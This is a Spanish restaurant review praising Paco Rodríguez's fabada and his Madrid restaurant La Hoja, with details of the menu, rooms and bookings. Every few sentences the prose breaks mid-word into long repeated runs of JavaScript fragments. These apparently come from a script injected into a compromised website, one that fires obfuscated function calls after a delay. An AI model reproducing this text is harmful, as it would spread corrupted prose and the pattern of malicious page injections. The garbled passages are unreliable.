Paco Rodríguez: Campeón de Fabes y mucho más

18062015100745249107Si por algo es conocido mi buen amigo Paco Rodríguez en el mundo gastronómico es por sus famosas fabes: fabada, fabes con langosta y fabes con almejas. Hace ocho años, cuandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}ando nos conocimos, recuerdo que me senté a comer en su Restaurante madrileño sin ni siquiera imaginar que lo que me iba a comer estaba premiado y reconocido. Aterricé allí por casualidad, pero bendita casualidad… Me comí las fabes más exquisitas que había probado en toda mi vida. Lo mágico de todo esto es que pasan los años y me siguen pareciendo las mejores del mundo. ¿Por qué? Pues porque este caballero, de los que ya quedan pocos, está al frente del negocio día sí y día también.La semana pasada volví a visitar a Paco, pues eso es lo que hacemos los clientes asiduos cuandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}ando vamos a los restaurantes de los amigos, visitar al amigo y a su familia. Allí estaban su esposa Conchi y su hijo Javier, quienes le acompañan en esta tarea desde que el comenzara hace ya 40 años. Sólo faltaba su hija Verónica, que acaba de ser mamá y nos ha convertido a Paco en Abuelo! Pues bien, este aroma familiar os confieso que se ha traducido en una enorme tranquilidad para mí; Paco ha sabido transmitir a sus dos hijos la idiosincrasia del negocio y eso nos garantiza fabada para rato.

18062015100747487507Pero no sólo de fabada vive el hombre entre estas cuatro paredes. El Restaurante la Hoja presenta una amplia variedad en carta, para elegir y para disfrutar durante horas, nada de salir corriendo nada más llenar el estómago. Si algo está mimandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}ando muchísimo esta familia es el concepto de “el tiempo para la comida”.

Todos los que eligen este restaurante saben que una vez acomodados, ha llegado la hora de disfrutar, de aparcar las prisas, el móvil, el ipad y todo lo que pueda importunar este gran momento del almuerzo. El tiempo se detiene para saborear cada uno de sus platos. Así, puedes degustar guisos tradicionales, el rabo de toro, chuletillas de cordero lechal, solomillo al cabrales o platos típicos de su tierra. Porque entrar en la Hoja es lo más parecido a entrar en Asturias, aquí tenemos un rincón del Principado, en la calle Doctor Castelo 48 de Madrid. Y como buen aficionado a la caza, no pueden dejar escapar los platos elaborados con la carne de caza en temporada. Si a todo esto le sumamos la selección de vinos que Paco hace personalmente para acompañarlos, entonces es cuandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}ando ya acabamos -como dirían nuestros abuelos- con el café, la copa y el puro. No obstante, los amantes del pescado, podrán escoger entre varias de las especialidades de la casa, aunque a mi me gusta recomendar el rodaballo y el rape a la Sidra.

18062015100752876724El espacio es magnífico. Tienes una amplia barra a la entrada, donde tomar las primera cervezas y vinos antes de sentarte a la mesa. Dos salones que reciben el nombre de cada uno de los pintores que predominan en sus paredes: Saavedra y Alcorlo. Y el Museo de Caza, donde podrán ver cada una de las piezas que Paco ha rescatado en sus cacerías, un salón estupendo donde reunir a toda la plantilla de la Oficina para comidas de empresa o a toda la familia para celebraciones o banquetes.

18062015100758816131No hay que olvidar la magnífica situación del restaurante, situado en la zona de Retiro-Salamanca. Un lugar donde volver siempre, porque siempre somos bien recibidos.
Reservas: 914 092 522

Horarios: De 13 a 16.30 y de 20 a 0 h.
Días de Descanso/Vacaciones: Domingos noche y lunes día entero Web Oficial: www.lahoja.es
Twitter: @LaHoja_LaFueya